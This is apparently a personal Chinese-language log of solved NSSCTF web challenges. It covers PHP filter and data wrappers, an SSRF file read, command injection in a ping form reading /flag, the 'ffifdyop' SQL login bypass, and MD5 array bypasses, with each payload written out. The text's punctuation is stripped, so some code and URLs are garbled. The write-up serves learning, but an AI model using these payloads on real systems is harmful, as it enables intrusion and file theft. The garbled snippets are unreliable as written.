2026/3/19 NSSCTF做题记录

2026/3/19 NSSCTF做题记录 [SWPUCTF 2021 新生赛]PseudoProtocols进入到页面说提示在这里你能找到 hint.php 吗看 url 的最后面的位置能够看到他默认是有一个 wllm 使用 wllm 进行传参使用 php 伪协议对 hint.php 进行读取http://node7.anna.nssctf.cn:20979/index.php?wllmphp://filter/readconvert.base64-encode/resourcehint.phpPD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4要去/test2222222222222.php?php ini_set(max_execution_time, 180); //设置当前PHP脚本的最大执行时间设置为180秒 show_source(__FILE__); //高亮显示当前代码 include(flag.php); //包含flag.php $a $_GET[a]; //把GET请求中的参数a赋值给变量 if(isset($a)(file_get_contents($a,r)) I want flag){ //变量a存在且不为NULL,并且读取$a所指向的内容还需要等于字符串“I want flag” echo success\n; echo $flag; } ?/?adata://text/plain,I want flag 使用 data 伪协议构造了一段纯文本数据这段数据的内容是 I want flagdata:伪协议名://协议分隔符text/plain:纯文本类型MIME 类型,分隔符I want flag:真正数据内容知识点file_get_contents()file_get_contents():用于将文件内容读入字符串的函数[LitCTF 2023]Follow me and hack me进入到页面中能够看到题目要求GETCTFLit2023POST:Challengeim_c0m1ng使用 HackBar 插件进行传参最终得到 flagNSSCTF{d1789e7e-a93c-4585-9d82-64ab1558fbfe}[NCTF 2018]签到题通过抓包能够看到 Cookie 的位置问 flag 在哪里才开始进入到题目页面的时候能够发现他会默认在 url 后面加上/secret.php并且直接跳转到百度这个页面中直接抓包把/secret.php 删除掉去访问在返回包中得到 flag也可以使用火狐浏览器中的网络进行抓包把/secret.php 删掉然后抓包也是能够得到 flag 的本题考点信息收集[NISACTF 2022]easyssrffile://flag.php 读取 flag.php但是返回了/fl4gfile:///fl4g 读取 fl4g返回你应该看看除了index.php是不是还有个ha1x1ux1u.phpindex.php 就是当前页面去访问ha1x1ux1u.php 看一下是什么情况?php highlight_file(__FILE__); //高亮显示当前代码 error_reporting(0); //出现报错时不回显 $file $_GET[file]; //把GET请求中的参数file赋值给变量file if (stristr($file, file)){ //判断变量file中是否出现了file如果出现终止循环 die(你败了.); } //flag in /flag //这里告诉我们flag在/flag中 echo file_get_contents($file); //如果通过了if条件就把变量file当作路径读取对应内容并输出http://node7.anna.nssctf.cn:27414/ha1x1ux1u.php?filephp://filter/readconvert.base64-encode/resource/flag/ha1x1ux1u.php?filephp://filter/readconvert.base64-encode/resource/flag正确写法页面地址?参数名参数值在 URL 中后面才是查询字符串NSSCTF{7476c376-7abb-40a0-95b6-cd09edd532d4}知识点stristr()stristr():是 php 的字符串查找函数用的stristr(被搜索的字符串要找的字符串)这个函数的特点不区分大小写如果找到了返回从匹配位置开始直到结尾的字符串如果没找到返回 falsefile_get_contents(文件路径)把指定文件的全部内容读出来作为字符串返回[LitCTF 2023]Ping进入到页面说试着 ping 一下使用 127.0.0.1ping 一下试试正常返回了使用 burp 抓包看一下详细的情况这里能够看到他的格式是使用连接在一起的command127.0.0.1pingPing知道了他是怎么拼接的这样就能够插入参数了使用 ;把他们分隔开然后再插入参数进行查询command127.0.0.1;ls /;pingPing从查询的结果能够找到 flag接下来查询 flag 中的内容command127.0.0.1;cat /flag;pingPingflagNSSCTF{f342c557-75e6-4fee-ac5b-1b8a682c806f}思路 查看源代码能够看到对ping的参数进行了过滤然后尝试使用 127.0.0.1 去 ping 一下发现是能够正常返回结果的然后使用 burp 抓包看具体细节发现传参细节能够直接插入命令使用’‘分隔开来尝试一下发现是可以的command127.0.0.1;ls /;pingPing查看根目录的文件有哪些发现了 flag,使用command127.0.0.1;cat /flag;pingPing直接查询到了 flag本题考点RCE,Linux 命令[NSSCTF 2022 Spring Recruit]ezgame是一个小游戏查看源代码能够知道得到 flag 的条件当分数达到 65 的时候给出 flag查看源代码直接搜索 NSSCTF 就能够找到 flag[BJDCTF 2020]easy_md5进入到页面中是一个查询框查看源码并没有发现有用的东西使用 burp 抓包看一下抓包在发送包在返回包中能够看到提示信息hint: select * from admin where passwordmd5($pass,true)输入ffifdyop 跳转到这个页面在语句中就会变成这样select * from admin where passwordmd5(ffifdyop,true)而 md5(ffifdyop,true)返回的是原始二进制数据当 md5()第二个参数设为 true 时返回的是 16 字节原始二级制而不是平时看到的 32 位十六进制字符串md5(ffifdyop,true)的结果是 276f722736c95d99e921722cf9ed621c它按照原始字节看前几个字节会对应成or6……和 SQL 语句拼接在一起select * from admin where password[md5($pass,true)的结果]select * from admin where passwordor6....or 只有两边都为假的时候才为假这里 where 条件成立返回admin表中的对应结果跳转页面返回你喜欢 MD5 吗http://node4.anna.nssctf.cn:28093/levels91.php查看源代码得到关键信息设置了 HTTP 头部信息位置是在 levell14.php访问levell14.php?php error_reporting(0); //出现报错时不返回报错信息 include flag.php; //包含flag.php这个文件 highlight_file(__FILE__); //高亮显示当前代码 if($_POST[param1]!$_POST[param2]md5($_POST[param1])md5($_POST[param2])){ echo $flag; //if条件param1和param2不相等但是md5值相等 }使用数组绕过到的方式param1[]1param2[]2if 条件中第一个部分符合条件两个的值不相等第二部分 md5()在 转换数组的时候会 警告并返回 NULLNULLNULL符合条件输出 flagNSSCTF{1c5ac1e9-42a3-458c-b076-8e68b250b269}思路首先进入题目中还是使用信息收集三件套在 burp 的返回包中找到关键信息根据 sql 语句输入 ffifdyop 绕过返回新页面然后在源代码出找到关键文件访问关键文件返回 PHP 代码页面对代码进行审计使用数组绕过得到 flag本题考点数组绕过、弱比较、PHP[SWPUCTF 2022 新生赛]ez_ez_php?php error_reporting(0); //出现报错时不显示报错信息 if (isset($_GET[file])) { //检查GET请求中的file是否存在并且值不为NULL if ( substr($_GET[file], 0, 3) php ) { //取出file参数的前三个字符判断它们是否等于”php“因为这里是强比较比较类型还有值 echo Nice!!!; include($_GET[file]); //把指定文件的内容拿过来当作PHP代码或页面内容加载进当前页面执行如果只是普通文本就直接输出到页面 } else { echo Hacker!!; } }else { highlight_file(__FILE__); } //flag.php在代码最下面放着/flag.php我想着访问一下试试结果返回的页面告诉我flag 不在这里我后面又在想flag 不在这里可能是直接放在 flag 中吗然后我直接访问 flag得到 NSSCTF{b12d204b-5558-4d2c-b855-5428515fb7d8}常规方法应该是这样的http://node5.anna.nssctf.cn:28759/?filephp://filter/readconvert.base64-encode/resourceflagfilephp://filter/readconvert.base64-encode/resourceflag后面我目录扫描了一下发现能够扫描到这几个文件本题考点文件包含、PHP、PHP 伪协议知识点substr()、include()substr(字符串起始位置长度)从一个字符串中截取一部分内容unclude():读入文件内容如果文件内容?php……? 代码块就按 PHP 解释执行如果只是普通文本就直接输出到页面中